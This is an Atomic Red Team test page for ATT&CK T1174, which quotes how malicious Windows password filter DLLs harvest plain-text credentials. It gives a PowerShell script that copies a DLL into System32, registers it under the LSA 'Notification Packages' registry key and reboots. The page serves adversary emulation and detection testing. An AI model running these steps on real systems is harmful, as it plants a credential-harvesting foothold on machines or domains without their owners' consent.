CircleCI Atomic Red Team doc generator
40 lines
2.2 KiB
Markdown
40 lines
2.2 KiB
Markdown
# T1174 - Password Filter DLL
|
|
## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1174)
|
|
<blockquote>Windows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as dynamic link libraries (DLLs) containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts.
|
|
|
|
Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation.
|
|
|
|
Adversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made. (Citation: Carnal Ownage Password Filters Sept 2013)</blockquote>
|
|
|
|
## Atomic Tests
|
|
|
|
- [Atomic Test #1 - Install and Register Password Filter DLL](#atomic-test-1---install-and-register-password-filter-dll)
|
|
|
|
|
|
<br/>
|
|
|
|
## Atomic Test #1 - Install and Register Password Filter DLL
|
|
Uses PowerShell to install and register a password filter DLL. Requires a reboot and administrative privileges.
|
|
|
|
**Supported Platforms:** Windows
|
|
|
|
|
|
#### Inputs
|
|
| Name | Description | Type | Default Value |
|
|
|------|-------------|------|---------------|
|
|
| input_dll | Path to DLL to be installed and registered | Path | C:\AtomicRedTeam\atomics\T1174\src\AtomicPasswordFilter.dll|
|
|
|
|
#### Run it with `powershell`! Elevation Required (e.g. root or admin)
|
|
```
|
|
$passwordFilterName = (Copy-Item "#{input_dll}" -Destination "C:\Windows\System32" -PassThru).basename
|
|
$lsaKey = Get-Item "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\"
|
|
$notificationPackagesValues = $lsaKey.GetValue("Notification Packages")
|
|
$notificationPackagesValues += $passwordFilterName
|
|
Set-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\" "Notification Packages" $notificationPackagesValues
|
|
Restart-Computer -Confirm
|
|
```
|
|
|
|
|
|
|
|
<br/>
|